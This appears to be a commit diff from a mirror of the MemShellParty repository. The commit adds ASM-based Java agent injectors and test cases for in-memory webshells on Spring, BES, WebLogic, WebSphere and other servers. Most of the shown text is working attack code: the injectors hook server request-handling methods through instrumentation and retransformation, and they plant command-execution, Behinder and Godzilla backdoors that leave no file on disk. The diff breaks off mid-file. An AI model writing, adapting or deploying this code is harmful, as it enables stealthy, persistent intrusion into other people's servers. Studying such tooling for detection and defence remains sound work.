mirror of
https://github.com/ReaJason/MemShellParty.git
synced 2026-09-22 07:00:43 +08:00
feat: support other server command agent with asm (#51)
This commit is contained in:
@@ -40,7 +40,6 @@ import com.reajason.javaweb.memshell.springwebmvc.behinder.BehinderInterceptor;
|
||||
import com.reajason.javaweb.memshell.springwebmvc.behinder.BehinderServletAdvisor;
|
||||
import com.reajason.javaweb.memshell.springwebmvc.command.CommandControllerHandler;
|
||||
import com.reajason.javaweb.memshell.springwebmvc.command.CommandInterceptor;
|
||||
import com.reajason.javaweb.memshell.springwebmvc.command.CommandServletAdvisor;
|
||||
import com.reajason.javaweb.memshell.springwebmvc.godzilla.GodzillaControllerHandler;
|
||||
import com.reajason.javaweb.memshell.springwebmvc.godzilla.GodzillaInterceptor;
|
||||
import com.reajason.javaweb.memshell.springwebmvc.godzilla.GodzillaServletAdvisor;
|
||||
@@ -68,7 +67,7 @@ public enum Server {
|
||||
*/
|
||||
Jetty(new JettyShell()),
|
||||
/**
|
||||
* JBoss AS 中间件, JBoss 6.4-EAP 也使用的当前方式 <a href="https://jbossas.jboss.org/downloads">JBoss AS</a>
|
||||
* JBoss AS 中间件,JBoss 6.4-EAP 也使用的当前方式 <a href="https://jbossas.jboss.org/downloads">JBoss AS</a>
|
||||
*/
|
||||
JBossAS(new JbossShell()),
|
||||
JBossEAP6(new JbossShell()),
|
||||
@@ -101,7 +100,7 @@ public enum Server {
|
||||
WebLogic(new WebLogicShell()),
|
||||
|
||||
/**
|
||||
* Resin 中间件, <a href="https://caucho.com/products/resin/download">Resin</a>
|
||||
* Resin 中间件,<a href="https://caucho.com/products/resin/download">Resin</a>
|
||||
*/
|
||||
Resin(new ResinShell()),
|
||||
|
||||
@@ -223,7 +222,8 @@ public enum Server {
|
||||
.addShellClass(SPRING_WEBMVC_JAKARTA_INTERCEPTOR, CommandInterceptor.class)
|
||||
.addShellClass(SPRING_WEBMVC_CONTROLLER_HANDLER, CommandControllerHandler.class)
|
||||
.addShellClass(SPRING_WEBMVC_JAKARTA_CONTROLLER_HANDLER, CommandControllerHandler.class)
|
||||
.addShellClass(SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET, CommandServletAdvisor.class)
|
||||
.addShellClass(SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET, CommandFilterChainAdvisor.class)
|
||||
.addShellClass(SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET_ASM, CommandFilterChainAsmMethodVisitor.class)
|
||||
.addShellClass(SPRING_WEBFLUX_WEB_FILTER, CommandWebFilter.class)
|
||||
.addShellClass(SPRING_WEBFLUX_HANDLER_METHOD, CommandHandlerMethod.class)
|
||||
.addShellClass(SPRING_WEBFLUX_HANDLER_FUNCTION, CommandHandlerFunction.class)
|
||||
@@ -237,7 +237,9 @@ public enum Server {
|
||||
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, CommandServletInitialHandlerAdvisor.class)
|
||||
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER_ASM, CommandServerInitialHandlerAsmMethodVisitor.class)
|
||||
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, CommandFilterChainAdvisor.class)
|
||||
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT_ASM, CommandFilterChainAsmMethodVisitor.class)
|
||||
.addShellClass(WAS_AGENT_FILTER_MANAGER, CommandFilterChainAdvisor.class)
|
||||
.addShellClass(WAS_AGENT_FILTER_MANAGER_ASM, CommandFilterChainAsmMethodVisitor.class)
|
||||
.build());
|
||||
|
||||
addToolMapping(ShellTool.Suo5, ToolMapping.builder()
|
||||
|
||||
@@ -30,13 +30,16 @@ public class ShellType {
|
||||
public static final String UNDERTOW_AGENT_SERVLET_HANDLER = AGENT + "ServletHandler";
|
||||
public static final String UNDERTOW_AGENT_SERVLET_HANDLER_ASM = AGENT + "ServletHandler" + ASM;
|
||||
public static final String WAS_AGENT_FILTER_MANAGER = AGENT + "FilterManager";
|
||||
public static final String WAS_AGENT_FILTER_MANAGER_ASM = AGENT + "FilterManager" + ASM;
|
||||
public static final String WEBLOGIC_AGENT_SERVLET_CONTEXT = AGENT + "ServletContext";
|
||||
public static final String WEBLOGIC_AGENT_SERVLET_CONTEXT_ASM = AGENT + "ServletContext" + ASM;
|
||||
|
||||
public static final String SPRING_WEBMVC_INTERCEPTOR = "Interceptor";
|
||||
public static final String SPRING_WEBMVC_JAKARTA_INTERCEPTOR = "JakartaInterceptor";
|
||||
public static final String SPRING_WEBMVC_CONTROLLER_HANDLER = "ControllerHandler";
|
||||
public static final String SPRING_WEBMVC_JAKARTA_CONTROLLER_HANDLER = "JakartaControllerHandler";
|
||||
public static final String SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET = AGENT + "FrameworkServlet";
|
||||
public static final String SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET_ASM = AGENT + "FrameworkServlet" + ASM;
|
||||
|
||||
public static final String SPRING_WEBFLUX_WEB_FILTER = "WebFilter";
|
||||
public static final String SPRING_WEBFLUX_HANDLER_METHOD = "HandlerMethod";
|
||||
|
||||
@@ -22,7 +22,8 @@ public class BesShell extends AbstractShell {
|
||||
.addInjector(LISTENER, BesListenerInjector.class)
|
||||
.addInjector(VALVE, BesValveInjector.class)
|
||||
.addInjector(AGENT_FILTER_CHAIN, BesFilterChainAgentInjector.class)
|
||||
.addInjector(CATALINA_AGENT_CONTEXT_VALVE, BesContextValveAgentInjector.class)
|
||||
.addInjector(AGENT_FILTER_CHAIN_ASM, BesFilterChainAgentWithAsmInjector.class)
|
||||
.addInjector(CATALINA_AGENT_CONTEXT_VALVE_ASM, BesContextValveAgentWithAsmInjector.class)
|
||||
.build();
|
||||
}
|
||||
}
|
||||
|
||||
@@ -2,6 +2,7 @@ package com.reajason.javaweb.memshell.server;
|
||||
|
||||
import com.reajason.javaweb.memshell.springwebmvc.injector.SpringWebMvcControllerHandlerInjector;
|
||||
import com.reajason.javaweb.memshell.springwebmvc.injector.SpringWebMvcFrameworkServletAgentInjector;
|
||||
import com.reajason.javaweb.memshell.springwebmvc.injector.SpringWebMvcFrameworkServletAgentWithAsmInjector;
|
||||
import com.reajason.javaweb.memshell.springwebmvc.injector.SpringWebMvcInterceptorInjector;
|
||||
|
||||
import static com.reajason.javaweb.memshell.ShellType.*;
|
||||
@@ -20,6 +21,7 @@ public class SpringWebMvcShell extends AbstractShell {
|
||||
.addInjector(SPRING_WEBMVC_CONTROLLER_HANDLER, SpringWebMvcControllerHandlerInjector.class)
|
||||
.addInjector(SPRING_WEBMVC_JAKARTA_CONTROLLER_HANDLER, SpringWebMvcControllerHandlerInjector.class)
|
||||
.addInjector(SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET, SpringWebMvcFrameworkServletAgentInjector.class)
|
||||
.addInjector(SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET_ASM, SpringWebMvcFrameworkServletAgentWithAsmInjector.class)
|
||||
.build();
|
||||
}
|
||||
}
|
||||
@@ -1,9 +1,6 @@
|
||||
package com.reajason.javaweb.memshell.server;
|
||||
|
||||
import com.reajason.javaweb.memshell.injector.weblogic.WebLogicFilterInjector;
|
||||
import com.reajason.javaweb.memshell.injector.weblogic.WebLogicListenerInjector;
|
||||
import com.reajason.javaweb.memshell.injector.weblogic.WebLogicServletContextAgentInjector;
|
||||
import com.reajason.javaweb.memshell.injector.weblogic.WebLogicServletInjector;
|
||||
import com.reajason.javaweb.memshell.injector.weblogic.*;
|
||||
|
||||
import static com.reajason.javaweb.memshell.ShellType.*;
|
||||
|
||||
@@ -25,6 +22,7 @@ public class WebLogicShell extends AbstractShell {
|
||||
.addInjector(FILTER, WebLogicFilterInjector.class)
|
||||
.addInjector(LISTENER, WebLogicListenerInjector.class)
|
||||
.addInjector(WEBLOGIC_AGENT_SERVLET_CONTEXT, WebLogicServletContextAgentInjector.class)
|
||||
.addInjector(WEBLOGIC_AGENT_SERVLET_CONTEXT_ASM, WebLogicServletContextAgentWithAsmInjector.class)
|
||||
.build();
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1,9 +1,6 @@
|
||||
package com.reajason.javaweb.memshell.server;
|
||||
|
||||
import com.reajason.javaweb.memshell.injector.websphere.WebSphereFilterChainAgentInjector;
|
||||
import com.reajason.javaweb.memshell.injector.websphere.WebSphereFilterInjector;
|
||||
import com.reajason.javaweb.memshell.injector.websphere.WebSphereListenerInjector;
|
||||
import com.reajason.javaweb.memshell.injector.websphere.WebSphereServletInjector;
|
||||
import com.reajason.javaweb.memshell.injector.websphere.*;
|
||||
import com.reajason.javaweb.memshell.utils.ShellCommonUtil;
|
||||
import net.bytebuddy.asm.Advice;
|
||||
import net.bytebuddy.implementation.bytecode.assign.Assigner;
|
||||
@@ -36,6 +33,7 @@ public class WebSphereShell extends AbstractShell {
|
||||
.addInjector(FILTER, WebSphereFilterInjector.class)
|
||||
.addInjector(LISTENER, WebSphereListenerInjector.class)
|
||||
.addInjector(WAS_AGENT_FILTER_MANAGER, WebSphereFilterChainAgentInjector.class)
|
||||
.addInjector(WAS_AGENT_FILTER_MANAGER_ASM, WebSphereFilterChainAgentWithAsmInjector.class)
|
||||
.build();
|
||||
}
|
||||
}
|
||||
|
||||
+6
-1
@@ -51,7 +51,12 @@ public class SpringBoot1ContainerTest {
|
||||
|
||||
static Stream<Arguments> casesProvider() {
|
||||
Server server = Server.SpringWebMvc;
|
||||
List<String> supportedShellTypes = List.of(ShellType.SPRING_WEBMVC_INTERCEPTOR, ShellType.SPRING_WEBMVC_CONTROLLER_HANDLER, ShellType.SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET);
|
||||
List<String> supportedShellTypes = List.of(
|
||||
ShellType.SPRING_WEBMVC_INTERCEPTOR,
|
||||
ShellType.SPRING_WEBMVC_CONTROLLER_HANDLER,
|
||||
ShellType.SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET,
|
||||
ShellType.SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET_ASM
|
||||
);
|
||||
List<Packers> testPackers = List.of(Packers.ScriptEngine, Packers.SpEL, Packers.Base64);
|
||||
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
|
||||
}
|
||||
|
||||
+6
-1
@@ -53,7 +53,12 @@ public class SpringBoot2ContainerTest {
|
||||
|
||||
static Stream<Arguments> casesProvider() {
|
||||
Server server = Server.SpringWebMvc;
|
||||
List<String> supportedShellTypes = List.of(ShellType.SPRING_WEBMVC_INTERCEPTOR, ShellType.SPRING_WEBMVC_CONTROLLER_HANDLER, ShellType.SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET);
|
||||
List<String> supportedShellTypes = List.of(
|
||||
ShellType.SPRING_WEBMVC_INTERCEPTOR,
|
||||
ShellType.SPRING_WEBMVC_CONTROLLER_HANDLER,
|
||||
ShellType.SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET,
|
||||
ShellType.SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET_ASM
|
||||
);
|
||||
List<Packers> testPackers = List.of(Packers.ScriptEngine, Packers.SpEL, Packers.Base64);
|
||||
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
|
||||
}
|
||||
|
||||
+4
-2
@@ -49,8 +49,10 @@ public class SpringBoot2WarContainerTest {
|
||||
|
||||
static Stream<Arguments> casesProvider() {
|
||||
Server server = Server.SpringWebMvc;
|
||||
List<String> supportedShellTypes = List.of(ShellType.SPRING_WEBMVC_INTERCEPTOR,
|
||||
ShellType.SPRING_WEBMVC_CONTROLLER_HANDLER);
|
||||
List<String> supportedShellTypes = List.of(
|
||||
ShellType.SPRING_WEBMVC_INTERCEPTOR,
|
||||
ShellType.SPRING_WEBMVC_CONTROLLER_HANDLER
|
||||
);
|
||||
List<Packers> testPackers = List.of(Packers.ScriptEngine, Packers.SpEL, Packers.Base64);
|
||||
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
|
||||
}
|
||||
|
||||
+6
-1
@@ -51,7 +51,12 @@ public class SpringBoot3ContainerTest {
|
||||
|
||||
static Stream<Arguments> casesProvider() {
|
||||
Server server = Server.SpringWebMvc;
|
||||
List<String> supportedShellTypes = List.of(ShellType.SPRING_WEBMVC_JAKARTA_INTERCEPTOR, ShellType.SPRING_WEBMVC_JAKARTA_CONTROLLER_HANDLER, ShellType.SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET);
|
||||
List<String> supportedShellTypes = List.of(
|
||||
ShellType.SPRING_WEBMVC_JAKARTA_INTERCEPTOR,
|
||||
ShellType.SPRING_WEBMVC_JAKARTA_CONTROLLER_HANDLER,
|
||||
ShellType.SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET,
|
||||
ShellType.SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET_ASM
|
||||
);
|
||||
List<Packers> testPackers = List.of(Packers.Base64);
|
||||
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers, null, List.of(ShellTool.AntSword));
|
||||
}
|
||||
|
||||
+5
-1
@@ -50,7 +50,11 @@ public class WebLogic1036ContainerTest {
|
||||
|
||||
static Stream<Arguments> casesProvider() {
|
||||
Server server = Server.WebLogic;
|
||||
List<String> supportedShellTypes = List.of(ShellType.SERVLET, ShellType.FILTER, ShellType.LISTENER, ShellType.WEBLOGIC_AGENT_SERVLET_CONTEXT);
|
||||
List<String> supportedShellTypes = List.of(
|
||||
ShellType.SERVLET, ShellType.FILTER, ShellType.LISTENER,
|
||||
ShellType.WEBLOGIC_AGENT_SERVLET_CONTEXT,
|
||||
ShellType.WEBLOGIC_AGENT_SERVLET_CONTEXT_ASM
|
||||
);
|
||||
List<Packers> testPackers = List.of(Packers.Base64);
|
||||
List<Triple<String, ShellTool, Packers>> unSupportedCases = List.of(
|
||||
Triple.of(ShellType.SERVLET, ShellTool.Behinder, Packers.Base64), // java.net.SocketTimeoutException
|
||||
|
||||
+5
-1
@@ -51,7 +51,11 @@ public class WebLogic12214ContainerTest {
|
||||
|
||||
static Stream<Arguments> casesProvider() {
|
||||
Server server = Server.WebLogic;
|
||||
List<String> supportedShellTypes = List.of(ShellType.SERVLET, ShellType.FILTER, ShellType.LISTENER, ShellType.WEBLOGIC_AGENT_SERVLET_CONTEXT);
|
||||
List<String> supportedShellTypes = List.of(
|
||||
ShellType.SERVLET, ShellType.FILTER, ShellType.LISTENER,
|
||||
ShellType.WEBLOGIC_AGENT_SERVLET_CONTEXT,
|
||||
ShellType.WEBLOGIC_AGENT_SERVLET_CONTEXT_ASM
|
||||
);
|
||||
List<Packers> testPackers = List.of(Packers.Base64);
|
||||
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
|
||||
}
|
||||
|
||||
+5
-1
@@ -51,7 +51,11 @@ public class WebLogic14110ContainerTest {
|
||||
|
||||
static Stream<Arguments> casesProvider() {
|
||||
Server server = Server.WebLogic;
|
||||
List<String> supportedShellTypes = List.of(ShellType.SERVLET, ShellType.FILTER, ShellType.LISTENER, ShellType.WEBLOGIC_AGENT_SERVLET_CONTEXT);
|
||||
List<String> supportedShellTypes = List.of(
|
||||
ShellType.SERVLET, ShellType.FILTER, ShellType.LISTENER,
|
||||
ShellType.WEBLOGIC_AGENT_SERVLET_CONTEXT,
|
||||
ShellType.WEBLOGIC_AGENT_SERVLET_CONTEXT_ASM
|
||||
);
|
||||
List<Packers> testPackers = List.of(Packers.Base64);
|
||||
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
|
||||
}
|
||||
|
||||
+5
-1
@@ -54,7 +54,11 @@ public class WebSphere855ContainerTest {
|
||||
|
||||
static Stream<Arguments> casesProvider() {
|
||||
Server server = Server.WebSphere;
|
||||
List<String> supportedShellTypes = List.of(ShellType.SERVLET, ShellType.FILTER, ShellType.LISTENER, ShellType.WAS_AGENT_FILTER_MANAGER);
|
||||
List<String> supportedShellTypes = List.of(
|
||||
ShellType.SERVLET, ShellType.FILTER, ShellType.LISTENER,
|
||||
ShellType.WAS_AGENT_FILTER_MANAGER,
|
||||
ShellType.WAS_AGENT_FILTER_MANAGER_ASM
|
||||
);
|
||||
List<Packers> testPackers = List.of(Packers.JSP);
|
||||
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
|
||||
}
|
||||
|
||||
+5
-1
@@ -54,7 +54,11 @@ public class WebSphere905ContainerTest {
|
||||
|
||||
static Stream<Arguments> casesProvider() {
|
||||
Server server = Server.WebSphere;
|
||||
List<String> supportedShellTypes = List.of(ShellType.SERVLET, ShellType.FILTER, ShellType.LISTENER, ShellType.WAS_AGENT_FILTER_MANAGER);
|
||||
List<String> supportedShellTypes = List.of(
|
||||
ShellType.SERVLET, ShellType.FILTER, ShellType.LISTENER,
|
||||
ShellType.WAS_AGENT_FILTER_MANAGER,
|
||||
ShellType.WAS_AGENT_FILTER_MANAGER_ASM
|
||||
);
|
||||
List<Packers> testPackers = List.of(Packers.JSP);
|
||||
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
|
||||
}
|
||||
|
||||
+5
-1
@@ -54,7 +54,11 @@ public class WebSphere700ContainerTest {
|
||||
|
||||
static Stream<Arguments> casesProvider() {
|
||||
Server server = Server.WebSphere;
|
||||
List<String> supportedShellTypes = List.of(ShellType.SERVLET, ShellType.FILTER, ShellType.LISTENER, ShellType.WAS_AGENT_FILTER_MANAGER);
|
||||
List<String> supportedShellTypes = List.of(
|
||||
ShellType.SERVLET, ShellType.FILTER, ShellType.LISTENER,
|
||||
ShellType.WAS_AGENT_FILTER_MANAGER,
|
||||
ShellType.WAS_AGENT_FILTER_MANAGER_ASM
|
||||
);
|
||||
List<Packers> testPackers = List.of(Packers.JSP);
|
||||
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
|
||||
}
|
||||
|
||||
@@ -12,6 +12,7 @@ java {
|
||||
dependencies {
|
||||
implementation project(":memshell")
|
||||
implementation 'net.bytebuddy:byte-buddy'
|
||||
implementation 'org.ow2.asm:asm-commons'
|
||||
|
||||
implementation 'org.springframework:spring-webmvc'
|
||||
implementation 'org.springframework:spring-webflux'
|
||||
|
||||
+97
@@ -0,0 +1,97 @@
|
||||
package com.reajason.javaweb.memshell.springwebmvc.injector;
|
||||
|
||||
import org.objectweb.asm.*;
|
||||
|
||||
import java.lang.instrument.ClassFileTransformer;
|
||||
import java.lang.instrument.Instrumentation;
|
||||
import java.lang.reflect.Constructor;
|
||||
import java.security.ProtectionDomain;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2025/3/26
|
||||
*/
|
||||
public class SpringWebMvcFrameworkServletAgentWithAsmInjector implements ClassFileTransformer {
|
||||
private static final String TARGET_CLASS = "org/springframework/web/servlet/FrameworkServlet";
|
||||
private static final String TARGET_METHOD_NAME = "service";
|
||||
|
||||
static Constructor<?> constructor = null;
|
||||
|
||||
static {
|
||||
try {
|
||||
Class<?> clazz = Class.forName(getClassName());
|
||||
constructor = clazz.getConstructors()[0];
|
||||
constructor.setAccessible(true);
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
|
||||
public SpringWebMvcFrameworkServletAgentWithAsmInjector() {
|
||||
}
|
||||
|
||||
@Override
|
||||
public byte[] transform(final ClassLoader loader, String className, Class<?> classBeingRedefined,
|
||||
ProtectionDomain protectionDomain, byte[] bytes) {
|
||||
if (TARGET_CLASS.equals(className)) {
|
||||
try {
|
||||
ClassReader cr = new ClassReader(bytes);
|
||||
ClassWriter cw = new ClassWriter(cr, ClassWriter.COMPUTE_MAXS | ClassWriter.COMPUTE_FRAMES) {
|
||||
@Override
|
||||
protected ClassLoader getClassLoader() {
|
||||
return loader;
|
||||
}
|
||||
};
|
||||
ClassVisitor cv = getClassVisitor(cw);
|
||||
cr.accept(cv, ClassReader.EXPAND_FRAMES);
|
||||
return cw.toByteArray();
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
return bytes;
|
||||
}
|
||||
|
||||
public static String getClassName() {
|
||||
return "{{advisorName}}";
|
||||
}
|
||||
|
||||
public static ClassVisitor getClassVisitor(ClassVisitor cv) {
|
||||
return new ClassVisitor(Opcodes.ASM9, cv) {
|
||||
@Override
|
||||
public MethodVisitor visitMethod(int access, String name, String descriptor,
|
||||
String signature, String[] exceptions) {
|
||||
MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions);
|
||||
if (TARGET_METHOD_NAME.equals(name)) {
|
||||
try {
|
||||
Type[] argumentTypes = Type.getArgumentTypes(descriptor);
|
||||
return (MethodVisitor) constructor.newInstance(mv, argumentTypes);
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
return mv;
|
||||
}
|
||||
};
|
||||
}
|
||||
|
||||
public static void premain(String args, Instrumentation inst) throws Exception {
|
||||
launch(inst);
|
||||
}
|
||||
|
||||
public static void agentmain(String args, Instrumentation inst) throws Exception {
|
||||
launch(inst);
|
||||
}
|
||||
|
||||
private static void launch(Instrumentation inst) throws Exception {
|
||||
System.out.println("MemShell Agent is starting");
|
||||
inst.addTransformer(new SpringWebMvcFrameworkServletAgentWithAsmInjector(), true);
|
||||
for (Class<?> allLoadedClass : inst.getAllLoadedClasses()) {
|
||||
String name = allLoadedClass.getName();
|
||||
if (TARGET_CLASS.replace("/", ".").equals(name)) {
|
||||
inst.retransformClasses(allLoadedClass);
|
||||
}
|
||||
}
|
||||
System.out.println("MemShell Agent is working at org.springframework.web.servlet.FrameworkServlet.service");
|
||||
}
|
||||
}
|
||||
+97
@@ -0,0 +1,97 @@
|
||||
package com.reajason.javaweb.memshell.injector.bes;
|
||||
|
||||
import org.objectweb.asm.*;
|
||||
|
||||
import java.lang.instrument.ClassFileTransformer;
|
||||
import java.lang.instrument.Instrumentation;
|
||||
import java.lang.reflect.Constructor;
|
||||
import java.security.ProtectionDomain;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2025/3/26
|
||||
*/
|
||||
public class BesContextValveAgentWithAsmInjector implements ClassFileTransformer {
|
||||
private static final String TARGET_CLASS = "com/bes/enterprise/webtier/core/DefaultContextValve";
|
||||
private static final String TARGET_METHOD_NAME = "invoke";
|
||||
|
||||
static Constructor<?> constructor = null;
|
||||
|
||||
static {
|
||||
try {
|
||||
Class<?> clazz = Class.forName(getClassName());
|
||||
constructor = clazz.getConstructors()[0];
|
||||
constructor.setAccessible(true);
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
|
||||
public BesContextValveAgentWithAsmInjector() {
|
||||
}
|
||||
|
||||
@Override
|
||||
public byte[] transform(final ClassLoader loader, String className, Class<?> classBeingRedefined,
|
||||
ProtectionDomain protectionDomain, byte[] bytes) {
|
||||
if (TARGET_CLASS.equals(className)) {
|
||||
try {
|
||||
ClassReader cr = new ClassReader(bytes);
|
||||
ClassWriter cw = new ClassWriter(cr, ClassWriter.COMPUTE_MAXS | ClassWriter.COMPUTE_FRAMES) {
|
||||
@Override
|
||||
protected ClassLoader getClassLoader() {
|
||||
return loader;
|
||||
}
|
||||
};
|
||||
ClassVisitor cv = getClassVisitor(cw);
|
||||
cr.accept(cv, ClassReader.EXPAND_FRAMES);
|
||||
return cw.toByteArray();
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
return bytes;
|
||||
}
|
||||
|
||||
public static String getClassName() {
|
||||
return "{{advisorName}}";
|
||||
}
|
||||
|
||||
public static ClassVisitor getClassVisitor(ClassVisitor cv) {
|
||||
return new ClassVisitor(Opcodes.ASM9, cv) {
|
||||
@Override
|
||||
public MethodVisitor visitMethod(int access, String name, String descriptor,
|
||||
String signature, String[] exceptions) {
|
||||
MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions);
|
||||
if (TARGET_METHOD_NAME.equals(name) && descriptor.endsWith(")V")) {
|
||||
try {
|
||||
Type[] argumentTypes = Type.getArgumentTypes(descriptor);
|
||||
return (MethodVisitor) constructor.newInstance(mv, argumentTypes);
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
return mv;
|
||||
}
|
||||
};
|
||||
}
|
||||
|
||||
public static void premain(String args, Instrumentation inst) throws Exception {
|
||||
launch(inst);
|
||||
}
|
||||
|
||||
public static void agentmain(String args, Instrumentation inst) throws Exception {
|
||||
launch(inst);
|
||||
}
|
||||
|
||||
private static void launch(Instrumentation inst) throws Exception {
|
||||
System.out.println("MemShell Agent is starting");
|
||||
inst.addTransformer(new BesContextValveAgentWithAsmInjector(), true);
|
||||
for (Class<?> allLoadedClass : inst.getAllLoadedClasses()) {
|
||||
String name = allLoadedClass.getName();
|
||||
if (TARGET_CLASS.replace("/", ".").equals(name)) {
|
||||
inst.retransformClasses(allLoadedClass);
|
||||
}
|
||||
}
|
||||
System.out.println("MemShell Agent is working at com.bes.enterprise.webtier.core.DefaultContextValve.invoke");
|
||||
}
|
||||
}
|
||||
+97
@@ -0,0 +1,97 @@
|
||||
package com.reajason.javaweb.memshell.injector.bes;
|
||||
|
||||
import org.objectweb.asm.*;
|
||||
|
||||
import java.lang.instrument.ClassFileTransformer;
|
||||
import java.lang.instrument.Instrumentation;
|
||||
import java.lang.reflect.Constructor;
|
||||
import java.security.ProtectionDomain;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2025/3/26
|
||||
*/
|
||||
public class BesFilterChainAgentWithAsmInjector implements ClassFileTransformer {
|
||||
private static final String TARGET_CLASS = "com/bes/enterprise/webtier/core/ApplicationFilterChain";
|
||||
private static final String TARGET_METHOD_NAME = "doFilter";
|
||||
|
||||
static Constructor<?> constructor = null;
|
||||
|
||||
static {
|
||||
try {
|
||||
Class<?> clazz = Class.forName(getClassName());
|
||||
constructor = clazz.getConstructors()[0];
|
||||
constructor.setAccessible(true);
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
|
||||
public BesFilterChainAgentWithAsmInjector() {
|
||||
}
|
||||
|
||||
@Override
|
||||
public byte[] transform(final ClassLoader loader, String className, Class<?> classBeingRedefined,
|
||||
ProtectionDomain protectionDomain, byte[] bytes) {
|
||||
if (TARGET_CLASS.equals(className)) {
|
||||
try {
|
||||
ClassReader cr = new ClassReader(bytes);
|
||||
ClassWriter cw = new ClassWriter(cr, ClassWriter.COMPUTE_MAXS | ClassWriter.COMPUTE_FRAMES) {
|
||||
@Override
|
||||
protected ClassLoader getClassLoader() {
|
||||
return loader;
|
||||
}
|
||||
};
|
||||
ClassVisitor cv = getClassVisitor(cw);
|
||||
cr.accept(cv, ClassReader.EXPAND_FRAMES);
|
||||
return cw.toByteArray();
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
return bytes;
|
||||
}
|
||||
|
||||
public static String getClassName() {
|
||||
return "{{advisorName}}";
|
||||
}
|
||||
|
||||
public static ClassVisitor getClassVisitor(ClassVisitor cv) {
|
||||
return new ClassVisitor(Opcodes.ASM9, cv) {
|
||||
@Override
|
||||
public MethodVisitor visitMethod(int access, String name, String descriptor,
|
||||
String signature, String[] exceptions) {
|
||||
MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions);
|
||||
if (TARGET_METHOD_NAME.equals(name)) {
|
||||
try {
|
||||
Type[] argumentTypes = Type.getArgumentTypes(descriptor);
|
||||
return (MethodVisitor) constructor.newInstance(mv, argumentTypes);
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
return mv;
|
||||
}
|
||||
};
|
||||
}
|
||||
|
||||
public static void premain(String args, Instrumentation inst) throws Exception {
|
||||
launch(inst);
|
||||
}
|
||||
|
||||
public static void agentmain(String args, Instrumentation inst) throws Exception {
|
||||
launch(inst);
|
||||
}
|
||||
|
||||
private static void launch(Instrumentation inst) throws Exception {
|
||||
System.out.println("MemShell Agent is starting");
|
||||
inst.addTransformer(new BesFilterChainAgentWithAsmInjector(), true);
|
||||
for (Class<?> allLoadedClass : inst.getAllLoadedClasses()) {
|
||||
String name = allLoadedClass.getName();
|
||||
if (TARGET_CLASS.replace("/", ".").equals(name)) {
|
||||
inst.retransformClasses(allLoadedClass);
|
||||
}
|
||||
}
|
||||
System.out.println("MemShell Agent is working at com.bes.enterprise.webtier.core.ApplicationFilterChain.doFilter");
|
||||
}
|
||||
}
|
||||
+3
-2
@@ -20,7 +20,7 @@ public class ResinFilterChainAgentWithAsmInjector implements ClassFileTransforme
|
||||
static {
|
||||
try {
|
||||
Class<?> clazz = Class.forName(getClassName());
|
||||
constructor = clazz.getDeclaredConstructor(MethodVisitor.class);
|
||||
constructor = clazz.getConstructors()[0];
|
||||
constructor.setAccessible(true);
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
@@ -64,7 +64,8 @@ public class ResinFilterChainAgentWithAsmInjector implements ClassFileTransforme
|
||||
MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions);
|
||||
if (TARGET_METHOD_NAME.equals(name)) {
|
||||
try {
|
||||
return (MethodVisitor) constructor.newInstance(mv);
|
||||
Type[] argumentTypes = Type.getArgumentTypes(descriptor);
|
||||
return (MethodVisitor) constructor.newInstance(mv, argumentTypes);
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
|
||||
+3
-2
@@ -20,7 +20,7 @@ public class TomcatContextValveAgentWithAsmInjector implements ClassFileTransfor
|
||||
static {
|
||||
try {
|
||||
Class<?> clazz = Class.forName(getClassName());
|
||||
constructor = clazz.getDeclaredConstructor(MethodVisitor.class);
|
